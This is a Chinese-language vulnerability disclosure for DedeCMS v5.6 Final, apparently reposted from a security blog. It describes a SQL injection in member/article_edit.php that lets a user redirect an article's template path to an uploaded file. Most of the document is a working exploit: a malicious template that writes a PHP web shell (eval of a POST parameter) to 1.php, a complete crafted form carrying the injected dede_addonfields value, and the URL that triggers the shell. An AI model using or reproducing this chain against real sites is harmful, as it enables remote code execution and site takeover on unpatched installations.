DEDECMS网站管理系统模板执行漏洞

影响版本:
DEDECMS v5.6 Final

程序介绍:

DedeCms 基于PHP+MySQL的技术开发,支持Windows、Linux、Unix等多种服务器平台,从2004年开始发布第一个版本开始,至今已经发布了五个大版本。DedeCms以简单、健壮、灵活、开源几大特点占领了国内CMS的大部份市场,目前已经有超过二十万个站点正在使用DedeCms或居于DedeCms核心,是目前国内应用最广泛的php类CMS系统。

漏洞分析:

Dedecms V5.6 Final版本中的各个文件存在一系列问题,经过精心构造的含有恶意代表的模板内容可以通过用户后台的上传附件的功能上传上去,然后通过SQL注入修改附加表的模板路径为我们上传的模板路径,模板解析类:include/inc_archives_view.php没有对模板路径及名称做任何限制,则可以成功执行恶意代码。

1、member/article_edit.php文件(注入):

//漏洞在member文件夹下普遍存在,$dede_addonfields是由用户提交的,可以被伪造,伪造成功即可带入sql语句,于是我们可以给附加表的内容进行update赋值。

 
  1. …  
  2. //分析处理附加表数据  
  3.     $inadd_f = ;  
  4.     if(!emptyempty($dede_addonfields))//自己构造$dede_addonfields  
  5.     {  
  6.         $addonfields = explode(‘;’,$dede_addonfields);  
  7.         if(is_array($addonfields))  
  8.         {  
  9.             print_r($addonfields);  
  10.             foreach($addonfields as $v)  
  11.             {  
  12.                 if($v==)  
  13.                 {  
  14.                     continue;  
  15.                 }  
  16.                 $vs = explode(‘,’,$v);  
  17.                 if(!isset(${$vs[0]}))  
  18.                 {  
  19.                     ${$vs[0]} = ;  
  20.                 }  
  21.                 ${$vs[0]} = GetFieldValueA(${$vs[0]},$vs[1],$aid);  
  22.                 $inadd_f .= ‘,’.$vs[0]." =’".${$vs[0]}."’ ";  
  23.                 echo $inadd_f;  
  24.             }  
  25.         }  
  26.     }  
  27. …  
  28. if($addtable!=)  
  29.     {  
  30.         $upQuery = "Update `$addtable` set typeid=’$typeid’,body=’$body'{$inadd_f},userip=’$userip’ where aid=’$aid’ ";//执行构造的sql  
  31.         if(!$dsql->ExecuteNoneQuery($upQuery))  
  32.         {  
  33.             ShowMsg("更新附加表 `$addtable`  时出错,请联系管理员!","javascript:;");  
  34.             exit();  
  35.         }  
  36.     }  
  37. …  

 

2、include/inc_archives_view.php:
//这是模板处理类,如果附加表的模板路径存在,直接从附加表取值;GetTempletFile获取模板文件的方法就是取的此处的模板路径,从来带进去解析。

 
  1. …  
  2. //issystem==-1 表示单表模型,单表模型不支持redirecturl这类参数,因此限定内容普通模型才进行下面查询  
  3.             if($this->ChannelUnit->ChannelInfos[‘addtable’]!= && $this->ChannelUnit->ChannelInfos[‘issystem’]!=-1)  
  4.             {  
  5.                 if(is_array($this->addTableRow))  
  6.                 {  
  7.                     $this->Fields[‘redirecturl’] = $this->addTableRow[‘redirecturl’];  
  8.                     $this->Fields[‘templet’] = $this->addTableRow[‘templet’];//取值  
  9.                     $this->Fields[‘userip’] = $this->addTableRow[‘userip’];  
  10.                 }  
  11.                 $this->Fields[‘templet’] = (emptyempty($this->Fields[‘templet’]) ?  : trim($this->Fields[‘templet’]));  
  12.                 $this->Fields[‘redirecturl’] = (emptyempty($this->Fields[‘redirecturl’]) ?  : trim($this->Fields[‘redirecturl’]));  
  13.                 $this->Fields[‘userip’] = (emptyempty($this->Fields[‘userip’]) ?  : trim($this->Fields[‘userip’]));  
  14.             }  
  15.             else  
  16.             {  
  17.                 $this->Fields[‘templet’] = $this->Fields[‘redirecturl’] = ;  
  18.             }  
  19. …  
  20.   
  21.     //获得模板文件位置  
  22.     function GetTempletFile()  
  23.     {  
  24.         global $cfg_basedir,$cfg_templets_dir,$cfg_df_style;  
  25.         $cid = $this->ChannelUnit->ChannelInfos[‘nid’];  
  26.         if(!emptyempty($this->Fields[‘templet’]))  
  27.         {  
  28.             $filetag = MfTemplet($this->Fields[‘templet’]);  
  29.             if( !ereg(‘/’$filetag) ) $filetag = $GLOBALS[‘cfg_df_style’].‘/’.$filetag;  
  30.         }  
  31.         else  
  32.         {  
  33.             $filetag = MfTemplet($this->TypeLink->TypeInfos["temparticle"]);  
  34.         }  
  35.         $tid = $this->Fields[‘typeid’];  
  36.         $filetag = str_replace(‘{cid}’$cid,$filetag);  
  37.         $filetag = str_replace(‘{tid}’$tid,$filetag);  
  38.         $tmpfile = $cfg_basedir.$cfg_templets_dir.‘/’.$filetag;  
  39.         if($cid==‘spec’)  
  40.         {  
  41.             if( !emptyempty($this->Fields[‘templet’]) )  
  42.             {  
  43.                 $tmpfile = $cfg_basedir.$cfg_templets_dir.‘/’.$filetag;  
  44.             }  
  45.             else  
  46.             {  
  47.                 $tmpfile = $cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/article_spec.htm";  
  48.             }  
  49.         }  
  50.         if(!file_exists($tmpfile))  
  51.         {  
  52.             $tmpfile = $cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/".($cid==‘spec’ ? ‘article_spec.htm’ : ‘article_default.htm’);  
  53.         }  
  54.         return $tmpfile;  
  55.     }  

 

漏洞利用:

解决方案:
厂商补丁:
DEDECMS
————
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.dedecms.com/

信息来源:
<*来源: oldjun’s Blog
链接:
http://www.oldjun.com/blog/index.php/archives/70/
*>

1.上传一个模板文件:

注册一个用户,进入用户管理后台,发表一篇文章,上传一个图片,然后在附件管理里,把图片替换为我们精心构造的模板,比如图片名称是:
uploads/userup/2/12OMX04-15A.jpg

模板内容是(如果限制图片格式,加gif89a):
{dede:name runphp=’yes’}
$fp = @fopen("1.php", ‘a’);
@fwrite($fp, ‘<‘.’?php’."\r\n\r\n".’eval($_POST[cmd])’."\r\n\r\n?".">\r\n");
@fclose($fp);
{/dede:name}

2.修改刚刚发表的文章,查看源文件,构造一个表单:

 
  1. <form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data" onsubmit="return checkSubmit();">  
  2. <input type="hidden" name="dopost" value="save" />  
  3. <input type="hidden" name="aid" value="2" />  
  4. <input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />  
  5. <input type="hidden" name="channelid" value="1" />  
  6. <input type="hidden" name="oldlitpic" value="" />  
  7. <input type="hidden" name="sortrank" value="1275972263" />  
  8.   
  9. <div id="mainCp">  
  10. <h3 class="meTitle"><strong>修改文章</strong></h3>  
  11.   
  12. <div class="postForm">  
  13. <label>标题:</label>  
  14. <input  name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>  
  15.   
  16. <label>标签TAG:</label>  
  17. <input name="tags" type="text" id="tags"  value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)  
  18.   
  19. <label>作者:</label>  
  20. <input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>  
  21.   
  22. <label>隶属栏目:</label>  
  23. <select name=‘typeid’ size=‘1’>  
  24. <option value=‘1’ class=‘option3’ selected=>测试栏目</option>  
  25. </select>            <span style="color:#F00">*</span>(不能选择带颜色的分类)  
  26.   
  27. <label>我的分类:</label>  
  28. <select name=‘mtypesid’ size=‘1’>  
  29. <option value=‘0’ selected>请选择分类…</option>  
  30. <option value=‘1’ class=‘option3’ selected>hahahha</option>  
  31. </select>  
  32.   
  33. <label>信息摘要:</label>  
  34. <textarea name="description" id="description">1111111</textarea>  
  35. (内容的简要说明)  
  36.   
  37. <label>缩略图:</label>  
  38. <input name="litpic" type="file" id="litpic" onchange="SeePicNew(‘divpicview’,this);"  maxlength="100" class="intxt"/>  
  39.   
  40. <input type=‘text’ name=‘templet’  
  41. value="../ uploads/userup/2/12OMX04-15A.jpg">  
  42. <input type=‘text’ name=‘dede_addonfields’  
  43. value="templet,htmltext;">(这里构造)  
  44. </div>  
  45.   
  46. <!– 表单操作区域 –>  
  47. <h3 class="meTitle">详细内容</h3>  
  48.   
  49. <div class="contentShow postForm">  
  50. <input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p>&lt;?phpinfo()?&gt;1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>  
  51.   
  52. <label>验证码:</label>  
  53. <input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style=‘width:50px;text-transform:uppercase;’ />  
  54. <img src="http://127.0.0.1/dede/include/vdimgck.php" alt="看不清?点击更换" align="absmiddle" style="cursor:pointer" onclick="this.src=this.src+’?’" />  
  55.   
  56. <button class="button2" type="submit">提交</button>  
  57. <button class="button2 ml10" type="reset" onclick="location.reload();">重置</button>  
  58. </div>  
  59.   
  60. </div>  
  61.   
  62. </form>  

 

提交,提示修改成功,则我们已经成功修改模板路径。

3.访问修改的文章:

假设刚刚修改的文章的aid为2,则我们只需要访问:
http://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目录下生成小马:1.php

 

 

发表评论?

0 条评论。

发表评论